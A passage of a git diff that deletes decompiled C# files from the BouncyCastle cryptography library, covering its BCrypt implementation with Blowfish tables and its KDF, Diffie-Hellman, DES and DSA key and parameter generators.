859738849u, 992217954u, 4005476642u, - 2243076622u, 3870952857u, 3732016268u, 765654824u, 3490871365u, 2511836413u, 1685915746u, 3888969200u, 1414112111u, 2273134842u, - 3281911079u, 4080962846u, 172450625u, 2569994100u, 980381355u, 4109958455u, 2819808352u, 2716589560u, 2568741196u, 3681446669u, - 3329971472u, 1835478071u, 660984891u, 3704678404u, 4045999559u, 3422617507u, 3040415634u, 1762651403u, 1719377915u, 3470491036u, - 2693910283u, 3642056355u, 3138596744u, 1364962596u, 2073328063u, 1983633131u, 926494387u, 3423689081u, 2150032023u, 4096667949u, - 1749200295u, 3328846651u, 309677260u, 2016342300u, 1779581495u, 3079819751u, 111262694u, 1274766160u, 443224088u, 298511866u, - 1025883608u, 3806446537u, 1145181785u, 168956806u, 3641502830u, 3584813610u, 1689216846u, 3666258015u, 3200248200u, 1692713982u, - 2646376535u, 4042768518u, 1618508792u, 1610833997u, 3523052358u, 4130873264u, 2001055236u, 3610705100u, 2202168115u, 4028541809u, - 2961195399u, 1006657119u, 2006996926u, 3186142756u, 1430667929u, 3210227297u, 1314452623u, 4074634658u, 4101304120u, 2273951170u, - 1399257539u, 3367210612u, 3027628629u, 1190975929u, 2062231137u, 2333990788u, 2221543033u, 2438960610u, 1181637006u, 548689776u, - 2362791313u, 3372408396u, 3104550113u, 3145860560u, 296247880u, 1970579870u, 3078560182u, 3769228297u, 1714227617u, 3291629107u, - 3898220290u, 166772364u, 1251581989u, 493813264u, 448347421u, 195405023u, 2709975567u, 677966185u, 3703036547u, 1463355134u, - 2715995803u, 1338867538u, 1343315457u, 2802222074u, 2684532164u, 233230375u, 2599980071u, 2000651841u, 3277868038u, 1638401717u, - 4028070440u, 3237316320u, 6314154u, 819756386u, 300326615u, 590932579u, 1405279636u, 3267499572u, 3150704214u, 2428286686u, - 3959192993u, 3461946742u, 1862657033u, 1266418056u, 963775037u, 2089974820u, 2263052895u, 1917689273u, 448879540u, 3550394620u, - 3981727096u, 150775221u, 3627908307u, 1303187396u, 508620638u, 2975983352u, 2726630617u, 1817252668u, 1876281319u, 1457606340u, - 908771278u, 3720792119u, 3617206836u, 2455994898u, 1729034894u, 1080033504u - }; - - private static readonly uint[] KS3 = new uint[256] - { - 976866871u, 3556439503u, 2881648439u, 1522871579u, 1555064734u, 1336096578u, 3548522304u, 2579274686u, 3574697629u, 3205460757u, - 3593280638u, 3338716283u, 3079412587u, 564236357u, 2993598910u, 1781952180u, 1464380207u, 3163844217u, 3332601554u, 1699332808u, - 1393555694u, 1183702653u, 3581086237u, 1288719814u, 691649499u, 2847557200u, 2895455976u, 3193889540u, 2717570544u, 1781354906u, - 1676643554u, 2592534050u, 3230253752u, 1126444790u, 2770207658u, 2633158820u, 2210423226u, 2615765581u, 2414155088u, 3127139286u, - 673620729u, 2805611233u, 1269405062u, 4015350505u, 3341807571u, 4149409754u, 1057255273u, 2012875353u, 2162469141u, 2276492801u, - 2601117357u, 993977747u, 3918593370u, 2654263191u, 753973209u, 36408145u, 2530585658u, 25011837u, 3520020182u, 2088578344u, - 530523599u, 2918365339u, 1524020338u, 1518925132u, 3760827505u, 3759777254u, 1202760957u, 3985898139u, 3906192525u, 674977740u, - 4174734889u, 2031300136u, 2019492241u, 3983892565u, 4153806404u, 3822280332u, 352677332u, 2297720250u, 60907813u, 90501309u, - 3286998549u, 1016092578u, 2535922412u, 2839152426u, 457141659u, 509813237u, 4120667899u, 652014361u, 1966332200u, 2975202805u, - 55981186u, 2327461051u, 676427537u, 3255491064u, 2882294119u, 3433927263u, 1307055953u, 942726286u, 933058658u, 2468411793u, - 3933900994u, 4215176142u, 1361170020u, 2001714738u, 2830558078u, 3274259782u, 1222529897u, 1679025792u, 2729314320u, 3714953764u, - 1770335741u, 151462246u, 3013232138u, 1682292957u, 1483529935u, 471910574u, 1539241949u, 458788160u, 3436315007u, 1807016891u, - 3718408830u, 978976581u, 1043663428u, 3165965781u, 1927990952u, 4200891579u, 2372276910u, 3208408903u, 3533431907u, 1412390302u, - 2931980059u, 4132332400u, 1947078029u, 3881505623u, 4168226417u, 2941484381u, 1077988104u, 1320477388u, 886195818u, 18198404u, - 3786409000u, 2509781533u, 112762804u, 3463356488u, 1866414978u, 891333506u, 18488651u, 661792760u, 1628790961u, 3885187036u, - 3141171499u, 876946877u, 2693282273u, 1372485963u, 791857591u, 2686433993u, 3759982718u, 3167212022u, 3472953795u, 2716379847u, - 445679433u, 3561995674u, 3504004811u, 3574258232u, 54117162u, 3331405415u, 2381918588u, 3769707343u, 4154350007u, 1140177722u, - 4074052095u, 668550556u, 3214352940u, 367459370u, 261225585u, 2610173221u, 4209349473u, 3468074219u, 3265815641u, 314222801u, - 3066103646u, 3808782860u, 282218597u, 3406013506u, 3773591054u, 379116347u, 1285071038u, 846784868u, 2669647154u, 3771962079u, - 3550491691u, 2305946142u, 453669953u, 1268987020u, 3317592352u, 3279303384u, 3744833421u, 2610507566u, 3859509063u, 266596637u, - 3847019092u, 517658769u, 3462560207u, 3443424879u, 370717030u, 4247526661u, 2224018117u, 4143653529u, 4112773975u, 2788324899u, - 2477274417u, 1456262402u, 2901442914u, 1517677493u, 1846949527u, 2295493580u, 3734397586u, 2176403920u, 1280348187u, 1908823572u, - 3871786941u, 846861322u, 1172426758u, 3287448474u, 3383383037u, 1655181056u, 3139813346u, 901632758u, 1897031941u, 2986607138u, - 3066810236u, 3447102507u, 1393639104u, 373351379u, 950779232u, 625454576u, 3124240540u, 4148612726u, 2007998917u, 544563296u, - 2244738638u, 2330496472u, 2058025392u, 1291430526u, 424198748u, 50039436u, 29584100u, 3605783033u, 2429876329u, 2791104160u, - 1057563949u, 3255363231u, 3075367218u, 3463963227u, 1469046755u, 985887462u - }; - - private readonly uint[] S; - - private readonly uint[] P; - - private BCrypt() - { - S = new uint[1024]; - P = new uint[18]; - } - - private uint F(uint x) - { - return ((S[x >> 24] + S[256 + ((x >> 16) & 0xFF)]) ^ S[512 + ((x >> 8) & 0xFF)]) + S[768 + (x & 0xFF)]; - } - - private void ProcessTable(uint xl, uint xr, uint[] table) - { - int num = table.Length; - for (int i = 0; i < num; i += 2) - { - xl ^= P[0]; - for (int j = 1; j < 16; j += 2) - { - xr ^= F(xl) ^ P[j]; - xl ^= F(xr) ^ P[j + 1]; - } - xr ^= P[17]; - table[i] = xr; - table[i + 1] = xl; - xr = xl; - xl = table[i]; - } - } - - private void InitState() - { - Array.Copy(KS0, 0, S, 0, 256); - Array.Copy(KS1, 0, S, 256, 256); - Array.Copy(KS2, 0, S, 512, 256); - Array.Copy(KS3, 0, S, 768, 256); - Array.Copy(KP, 0, P, 0, 18); - } - - private void CyclicXorKey(byte[] key) - { - int num = key.Length; - int num2 = 0; - for (int i = 0; i < 18; i++) - { - uint num3 = 0u; - for (int j = 0; j < 4; j++) - { - num3 = (num3 << 8) | key[num2]; - if (++num2 >= num) - { - num2 = 0; - } - } - uint[] p; - uint[] array = (p = P); - int num4 = i; - nint num5 = num4; - array[num4] = p[num5] ^ num3; - } - } - - private byte[] EncryptMagicString() - { - uint[] array = new uint[6] - { - MAGIC_STRING[0], - MAGIC_STRING[1], - MAGIC_STRING[2], - MAGIC_STRING[3], - MAGIC_STRING[4], - MAGIC_STRING[5] - }; - for (int i = 0; i < 64; i++) - { - for (int j = 0; j < 6; j += 2) - { - uint num = array[j]; - uint num2 = array[j + 1]; - num ^= P[0]; - for (int k = 1; k < 16; k += 2) - { - num2 ^= F(num) ^ P[k]; - num ^= F(num2) ^ P[k + 1]; - } - num2 ^= P[17]; - array[j] = num2; - array[j + 1] = num; - } - } - byte[] array2 = new byte[24]; - Pack.UInt32_To_BE(array, array2, 0); - Array.Clear(array, 0, array.Length); - Array.Clear(P, 0, P.Length); - Array.Clear(S, 0, S.Length); - return array2; - } - - private void ProcessTableWithSalt(uint[] table, uint[] salt32Bit, uint iv1, uint iv2) - { - uint num = iv1 ^ salt32Bit[0]; - uint num2 = iv2 ^ salt32Bit[1]; - int num3 = table.Length; - for (int i = 0; i < num3; i += 4) - { - num ^= P[0]; - for (int j = 1; j < 16; j += 2) - { - num2 ^= F(num) ^ P[j]; - num ^= F(num2) ^ P[j + 1]; - } - num2 = (table[i] = num2 ^ P[17]); - table[i + 1] = num; - uint num4 = salt32Bit[2] ^ num2; - uint num5 = salt32Bit[3] ^ num; - if (i + 2 >= num3) - { - break; - } - num4 ^= P[0]; - for (int k = 1; k < 16; k += 2) - { - num5 ^= F(num4) ^ P[k]; - num4 ^= F(num5) ^ P[k + 1]; - } - num5 = (table[i + 2] = num5 ^ P[17]); - table[i + 3] = num4; - num = salt32Bit[0] ^ num5; - num2 = salt32Bit[1] ^ num4; - } - } - - private byte[] DeriveRawKey(int cost, byte[] salt, byte[] psw) - { - if (salt.Length != 16) - { - throw new DataLengthException("Invalid salt size: 16 bytes expected."); - } - if (cost < 4 || cost > 31) - { - throw new ArgumentException("Illegal cost factor: 4 - 31 expected.", "cost"); - } - if (psw.Length == 0) - { - psw = new byte[4]; - } - InitState(); - uint[] array = new uint[4]; - Pack.BE_To_UInt32(salt, 0, array); - uint[] array2 = new uint[salt.Length]; - array2[0] = array[2]; - array2[1] = array[3]; - array2[2] = array[0]; - array2[3] = array[1]; - CyclicXorKey(psw); - ProcessTableWithSalt(P, array, 0u, 0u); - Array.Clear(array, 0, array.Length); - ProcessTableWithSalt(S, array2, P[P.Length - 2], P[P.Length - 1]); - Array.Clear(array2, 0, array2.Length); - int num = 1 << cost; - for (int i = 0; i != num; i++) - { - CyclicXorKey(psw); - ProcessTable(0u, 0u, P); - ProcessTable(P[16], P[17], S); - CyclicXorKey(salt); - ProcessTable(0u, 0u, P); - ProcessTable(P[16], P[17], S); - } - return EncryptMagicString(); - } - - public static byte[] PasswordToByteArray(char[] password) - { - return Arrays.Append(Strings.ToUtf8ByteArray(password), 0); - } - - public static byte[] Generate(byte[] password, byte[] salt, int cost) - { - if (password == null) - { - throw new ArgumentNullException("password"); - } - if (password.Length > 72) - { - throw new ArgumentException("BCrypt password must be <= 72 bytes", "password"); - } - if (salt == null) - { - throw new ArgumentNullException("salt"); - } - if (salt.Length != 16) - { - throw new ArgumentException("BCrypt salt must be 128 bits", "salt"); - } - if (cost < 4 || cost > 31) - { - throw new ArgumentException("BCrypt cost must be from 4..31", "cost"); - } - return new BCrypt().DeriveRawKey(cost, salt, password); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/BaseKdfBytesGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/BaseKdfBytesGenerator.cs deleted file mode 100644 index 7406cab..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/BaseKdfBytesGenerator.cs +++ /dev/null @@ -1,90 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Crypto.Utilities; - -namespace Org.BouncyCastle.Crypto.Generators; - -public class BaseKdfBytesGenerator : IDerivationFunction -{ - private int counterStart; - - private IDigest digest; - - private byte[] shared; - - private byte[] iv; - - public virtual IDigest Digest => digest; - - public BaseKdfBytesGenerator(int counterStart, IDigest digest) - { - this.counterStart = counterStart; - this.digest = digest; - } - - public virtual void Init(IDerivationParameters parameters) - { - if (parameters is KdfParameters) - { - KdfParameters kdfParameters = (KdfParameters)parameters; - shared = kdfParameters.GetSharedSecret(); - iv = kdfParameters.GetIV(); - return; - } - if (parameters is Iso18033KdfParameters) - { - Iso18033KdfParameters iso18033KdfParameters = (Iso18033KdfParameters)parameters; - shared = iso18033KdfParameters.GetSeed(); - iv = null; - return; - } - throw new ArgumentException("KDF parameters required for KDF Generator"); - } - - public virtual int GenerateBytes(byte[] output, int outOff, int length) - { - if (output.Length - length < outOff) - { - throw new DataLengthException("output buffer too small"); - } - long num = length; - int digestSize = digest.GetDigestSize(); - if (num > 8589934591L) - { - throw new ArgumentException("Output length too large"); - } - int num2 = (int)((num + digestSize - 1) / digestSize); - byte[] array = new byte[digest.GetDigestSize()]; - byte[] array2 = new byte[4]; - Pack.UInt32_To_BE((uint)counterStart, array2, 0); - uint num3 = (uint)(counterStart & -256); - for (int i = 0; i < num2; i++) - { - digest.BlockUpdate(shared, 0, shared.Length); - digest.BlockUpdate(array2, 0, 4); - if (iv != null) - { - digest.BlockUpdate(iv, 0, iv.Length); - } - digest.DoFinal(array, 0); - if (length > digestSize) - { - Array.Copy(array, 0, output, outOff, digestSize); - outOff += digestSize; - length -= digestSize; - } - else - { - Array.Copy(array, 0, output, outOff, length); - } - byte[] array3; - if (((array3 = array2)[3] = (byte)(array3[3] + 1)) == 0) - { - num3 += 256; - Pack.UInt32_To_BE(num3, array2, 0); - } - } - digest.Reset(); - return (int)num; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/DHBasicKeyPairGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/DHBasicKeyPairGenerator.cs deleted file mode 100644 index 01650a6..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/DHBasicKeyPairGenerator.cs +++ /dev/null @@ -1,23 +0,0 @@ -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Crypto.Generators; - -public class DHBasicKeyPairGenerator : IAsymmetricCipherKeyPairGenerator -{ - private DHKeyGenerationParameters param; - - public virtual void Init(KeyGenerationParameters parameters) - { - param = (DHKeyGenerationParameters)parameters; - } - - public virtual AsymmetricCipherKeyPair GenerateKeyPair() - { - DHKeyGeneratorHelper instance = DHKeyGeneratorHelper.Instance; - DHParameters parameters = param.Parameters; - BigInteger x = instance.CalculatePrivate(parameters, param.Random); - BigInteger y = instance.CalculatePublic(parameters, x); - return new AsymmetricCipherKeyPair(new DHPublicKeyParameters(y, parameters), new DHPrivateKeyParameters(x, parameters)); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/DHKeyGeneratorHelper.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/DHKeyGeneratorHelper.cs deleted file mode 100644 index 05120ef..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/DHKeyGeneratorHelper.cs +++ /dev/null @@ -1,57 +0,0 @@ -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Math.EC.Multiplier; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Generators; - -internal class DHKeyGeneratorHelper -{ - internal static readonly DHKeyGeneratorHelper Instance = new DHKeyGeneratorHelper(); - - private DHKeyGeneratorHelper() - { - } - - internal BigInteger CalculatePrivate(DHParameters dhParams, SecureRandom random) - { - int l = dhParams.L; - if (l != 0) - { - int num = l >> 2; - BigInteger bigInteger; - do - { - bigInteger = new BigInteger(l, random).SetBit(l - 1); - } - while (WNafUtilities.GetNafWeight(bigInteger) < num); - return bigInteger; - } - BigInteger min = BigInteger.Two; - int m = dhParams.M; - if (m != 0) - { - min = BigInteger.One.ShiftLeft(m - 1); - } - BigInteger bigInteger2 = dhParams.Q; - if (bigInteger2 == null) - { - bigInteger2 = dhParams.P; - } - BigInteger bigInteger3 = bigInteger2.Subtract(BigInteger.Two); - int num2 = bigInteger3.BitLength >> 2; - BigInteger bigInteger4; - do - { - bigInteger4 = BigIntegers.CreateRandomInRange(min, bigInteger3, random); - } - while (WNafUtilities.GetNafWeight(bigInteger4) < num2); - return bigInteger4; - } - - internal BigInteger CalculatePublic(DHParameters dhParams, BigInteger x) - { - return dhParams.G.ModPow(x, dhParams.P); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/DHKeyPairGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/DHKeyPairGenerator.cs deleted file mode 100644 index c891d0d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/DHKeyPairGenerator.cs +++ /dev/null @@ -1,23 +0,0 @@ -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Crypto.Generators; - -public class DHKeyPairGenerator : IAsymmetricCipherKeyPairGenerator -{ - private DHKeyGenerationParameters param; - - public virtual void Init(KeyGenerationParameters parameters) - { - param = (DHKeyGenerationParameters)parameters; - } - - public virtual AsymmetricCipherKeyPair GenerateKeyPair() - { - DHKeyGeneratorHelper instance = DHKeyGeneratorHelper.Instance; - DHParameters parameters = param.Parameters; - BigInteger x = instance.CalculatePrivate(parameters, param.Random); - BigInteger y = instance.CalculatePublic(parameters, x); - return new AsymmetricCipherKeyPair(new DHPublicKeyParameters(y, parameters), new DHPrivateKeyParameters(x, parameters)); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/DHParametersGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/DHParametersGenerator.cs deleted file mode 100644 index 9d4209c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/DHParametersGenerator.cs +++ /dev/null @@ -1,30 +0,0 @@ -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Generators; - -public class DHParametersGenerator -{ - private int size; - - private int certainty; - - private SecureRandom random; - - public virtual void Init(int size, int certainty, SecureRandom random) - { - this.size = size; - this.certainty = certainty; - this.random = random; - } - - public virtual DHParameters GenerateParameters() - { - BigInteger[] array = DHParametersHelper.GenerateSafePrimes(size, certainty, random); - BigInteger p = array[0]; - BigInteger q = array[1]; - BigInteger g = DHParametersHelper.SelectGenerator(p, q, random); - return new DHParameters(p, g, q, BigInteger.Two, null); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/DHParametersHelper.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/DHParametersHelper.cs deleted file mode 100644 index da237db..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/DHParametersHelper.cs +++ /dev/null @@ -1,102 +0,0 @@ -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Math.EC.Multiplier; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Generators; - -internal class DHParametersHelper -{ - private static readonly BigInteger Six = BigInteger.ValueOf(6L); - - private static readonly int[][] primeLists = BigInteger.primeLists; - - private static readonly int[] primeProducts = BigInteger.primeProducts; - - private static readonly BigInteger[] BigPrimeProducts = ConstructBigPrimeProducts(primeProducts); - - private static BigInteger[] ConstructBigPrimeProducts(int[] primeProducts) - { - BigInteger[] array = new BigInteger[primeProducts.Length]; - for (int i = 0; i < array.Length; i++) - { - array[i] = BigInteger.ValueOf(primeProducts[i]); - } - return array; - } - - internal static BigInteger[] GenerateSafePrimes(int size, int certainty, SecureRandom random) - { - int num = size - 1; - int num2 = size >> 2; - BigInteger bigInteger; - BigInteger bigInteger2; - if (size <= 32) - { - do - { - bigInteger = new BigInteger(num, 2, random); - bigInteger2 = bigInteger.ShiftLeft(1).Add(BigInteger.One); - } - while (!bigInteger2.IsProbablePrime(certainty, randomlySelected: true) || (certainty > 2 && !bigInteger.IsProbablePrime(certainty, randomlySelected: true))); - } - else - { - while (true) - { - bigInteger = new BigInteger(num, 0, random); - while (true) - { - for (int i = 0; i < primeLists.Length; i++) - { - int num3 = bigInteger.Remainder(BigPrimeProducts[i]).IntValue; - if (i == 0) - { - int num4 = num3 % 3; - if (num4 != 2) - { - int num5 = 2 * num4 + 2; - bigInteger = bigInteger.Add(BigInteger.ValueOf(num5)); - num3 = (num3 + num5) % primeProducts[i]; - } - } - int[] array = primeLists[i]; - foreach (int num6 in array) - { - int num7 = num3 % num6; - if (num7 == 0 || num7 == num6 >> 1) - { - goto IL_00cd; - } - } - } - break; - IL_00cd: - bigInteger = bigInteger.Add(Six); - } - if (bigInteger.BitLength == num && bigInteger.RabinMillerTest(2, random, randomlySelected: true)) - { - bigInteger2 = bigInteger.ShiftLeft(1).Add(BigInteger.One); - if (bigInteger2.RabinMillerTest(certainty, random, randomlySelected: true) && (certainty <= 2 || bigInteger.RabinMillerTest(certainty - 2, random, randomlySelected: true)) && WNafUtilities.GetNafWeight(bigInteger2) >= num2) - { - break; - } - } - } - } - return new BigInteger[2] { bigInteger2, bigInteger }; - } - - internal static BigInteger SelectGenerator(BigInteger p, BigInteger q, SecureRandom random) - { - BigInteger max = p.Subtract(BigInteger.Two); - BigInteger bigInteger2; - do - { - BigInteger bigInteger = BigIntegers.CreateRandomInRange(BigInteger.Two, max, random); - bigInteger2 = bigInteger.ModPow(BigInteger.Two, p); - } - while (bigInteger2.Equals(BigInteger.One)); - return bigInteger2; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/DesEdeKeyGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/DesEdeKeyGenerator.cs deleted file mode 100644 index 6a112b2..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/DesEdeKeyGenerator.cs +++ /dev/null @@ -1,46 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; - -namespace Org.BouncyCastle.Crypto.Generators; - -public class DesEdeKeyGenerator : DesKeyGenerator -{ - public DesEdeKeyGenerator() - { - } - - internal DesEdeKeyGenerator(int defaultStrength) - : base(defaultStrength) - { - } - - protected override void engineInit(KeyGenerationParameters parameters) - { - random = parameters.Random; - strength = (parameters.Strength + 7) / 8; - if (strength == 0 || strength == 21) - { - strength = 24; - } - else if (strength == 14) - { - strength = 16; - } - else if (strength != 24 && strength != 16) - { - throw new ArgumentException("DESede key must be " + 192 + " or " + 128 + " bits long."); - } - } - - protected override byte[] engineGenerateKey() - { - byte[] array = new byte[strength]; - do - { - random.NextBytes(array); - DesParameters.SetOddParity(array); - } - while (DesEdeParameters.IsWeakKey(array, 0, array.Length) || !DesEdeParameters.IsRealEdeKey(array, 0)); - return array; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/DesKeyGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/DesKeyGenerator.cs deleted file mode 100644 index 1e4c286..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/DesKeyGenerator.cs +++ /dev/null @@ -1,41 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; - -namespace Org.BouncyCastle.Crypto.Generators; - -public class DesKeyGenerator : CipherKeyGenerator -{ - public DesKeyGenerator() - { - } - - internal DesKeyGenerator(int defaultStrength) - : base(defaultStrength) - { - } - - protected override void engineInit(KeyGenerationParameters parameters) - { - base.engineInit(parameters); - if (strength == 0 || strength == 7) - { - strength = 8; - } - else if (strength != 8) - { - throw new ArgumentException("DES key must be " + 64 + " bits long."); - } - } - - protected override byte[] engineGenerateKey() - { - byte[] array = new byte[8]; - do - { - random.NextBytes(array); - DesParameters.SetOddParity(array); - } - while (DesParameters.IsWeakKey(array, 0)); - return array; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/DsaKeyPairGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/DsaKeyPairGenerator.cs deleted file mode 100644 index 61e33e6..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/DsaKeyPairGenerator.cs +++ /dev/null @@ -1,49 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Math.EC.Multiplier; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Generators; - -public class DsaKeyPairGenerator : IAsymmetricCipherKeyPairGenerator -{ - private static readonly BigInteger One = BigInteger.One; - - private DsaKeyGenerationParameters param; - - public void Init(KeyGenerationParameters parameters) - { - if (parameters == null) - { - throw new ArgumentNullException("parameters"); - } - param = (DsaKeyGenerationParameters)parameters; - } - - public AsymmetricCipherKeyPair GenerateKeyPair() - { - DsaParameters parameters = param.Parameters; - BigInteger x = GeneratePrivateKey(parameters.Q, param.Random); - BigInteger y = CalculatePublicKey(parameters.P, parameters.G, x); - return new AsymmetricCipherKeyPair(new DsaPublicKeyParameters(y, parameters), new DsaPrivateKeyParameters(x, parameters)); - } - - private static BigInteger GeneratePrivateKey(BigInteger q, SecureRandom random) - { - int num = q.BitLength >> 2; - BigInteger bigInteger; - do - { - bigInteger = BigIntegers.CreateRandomInRange(One, q.Subtract(One), random); - } - while (WNafUtilities.GetNafWeight(bigInteger) < num); - return bigInteger; - } - - private static BigInteger CalculatePublicKey(BigInteger p, BigInteger g, BigInteger x) - { - return g.ModPow(x, p); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/DsaParametersGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/DsaParametersGenerator.cs deleted file mode 100644 index bdaf4a5..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/DsaParametersGenerator.cs +++ /dev/null @@ -1,280 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Digests; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Crypto.Generators; - -public class DsaParametersGenerator -{ - private IDigest digest; - - private int L; - - private int N; - - private int certainty; - - private SecureRandom random; - - private bool use186_3; - - private int usageIndex; - - public DsaParametersGenerator() - : this(new Sha1Digest()) - { - } - - public DsaParametersGenerator(IDigest digest) - { - this.digest = digest; - } - - public virtual void Init(int size, int certainty, SecureRandom random) - { - if (!IsValidDsaStrength(size)) - { - throw new ArgumentException("size must be from 512 - 1024 and a multiple of 64", "size"); - } - use186_3 = false; - L = size; - N = GetDefaultN(size); - this.certainty = certainty; - this.random = random; - } - - public virtual void Init(DsaParameterGenerationParameters parameters) - { - use186_3 = true; - L = parameters.L; - N = parameters.N; - certainty = parameters.Certainty; - random = parameters.Random; - usageIndex = parameters.UsageIndex; - if (L < 1024 || L > 3072 || L % 1024 != 0) - { - throw new ArgumentException("Values must be between 1024 and 3072 and a multiple of 1024", "L"); - } - if (L == 1024 && N != 160) - { - throw new ArgumentException("N must be 160 for L = 1024"); - } - if (L == 2048 && N != 224 && N != 256) - { - throw new ArgumentException("N must be 224 or 256 for L = 2048"); - } - if (L == 3072 && N != 256) - { - throw new ArgumentException("N must be 256 for L = 3072"); - } - if (digest.GetDigestSize() * 8 < N) - { - throw new InvalidOperationException("Digest output size too small for value of N"); - } - } - - public virtual DsaParameters GenerateParameters() - { - if (!use186_3) - { - return GenerateParameters_FIPS186_2(); - } - return GenerateParameters_FIPS186_3(); - } - - protected virtual DsaParameters GenerateParameters_FIPS186_2() - { - byte[] array = new byte[20]; - byte[] array2 = new byte[20]; - byte[] array3 = new byte[20]; - byte[] array4 = new byte[20]; - int num = (L - 1) / 160; - byte[] array5 = new byte[L / 8]; - if (!(digest is Sha1Digest)) - { - throw new InvalidOperationException("can only use SHA-1 for generating FIPS 186-2 parameters"); - } - while (true) - { - random.NextBytes(array); - Hash(digest, array, array2); - Array.Copy(array, 0, array3, 0, array.Length); - Inc(array3); - Hash(digest, array3, array3); - for (int i = 0; i != array4.Length; i++) - { - array4[i] = (byte)(array2[i] ^ array3[i]); - } - byte[] array6; - (array6 = array4)[0] = (byte)(array6[0] | 0x80); - (array6 = array4)[19] = (byte)(array6[19] | 1); - BigInteger bigInteger = new BigInteger(1, array4); - if (!bigInteger.IsProbablePrime(certainty)) - { - continue; - } - byte[] array7 = Arrays.Clone(array); - Inc(array7); - for (int j = 0; j < 4096; j++) - { - for (int k = 0; k < num; k++) - { - Inc(array7); - Hash(digest, array7, array2); - Array.Copy(array2, 0, array5, array5.Length - (k + 1) * array2.Length, array2.Length); - } - Inc(array7); - Hash(digest, array7, array2); - Array.Copy(array2, array2.Length - (array5.Length - num * array2.Length), array5, 0, array5.Length - num * array2.Length); - (array6 = array5)[0] = (byte)(array6[0] | 0x80); - BigInteger bigInteger2 = new BigInteger(1, array5); - BigInteger bigInteger3 = bigInteger2.Mod(bigInteger.ShiftLeft(1)); - BigInteger bigInteger4 = bigInteger2.Subtract(bigInteger3.Subtract(BigInteger.One)); - if (bigInteger4.BitLength == L && bigInteger4.IsProbablePrime(certainty)) - { - BigInteger g = CalculateGenerator_FIPS186_2(bigInteger4, bigInteger, random); - return new DsaParameters(bigInteger4, bigInteger, g, new DsaValidationParameters(array, j)); - } - } - } - } - - protected virtual BigInteger CalculateGenerator_FIPS186_2(BigInteger p, BigInteger q, SecureRandom r) - { - BigInteger e = p.Subtract(BigInteger.One).Divide(q); - BigInteger max = p.Subtract(BigInteger.Two); - BigInteger bigInteger2; - do - { - BigInteger bigInteger = BigIntegers.CreateRandomInRange(BigInteger.Two, max, r); - bigInteger2 = bigInteger.ModPow(e, p); - } - while (bigInteger2.BitLength <= 1); - return bigInteger2; - } - - protected virtual DsaParameters GenerateParameters_FIPS186_3() - { - IDigest digest = this.digest; - int num = 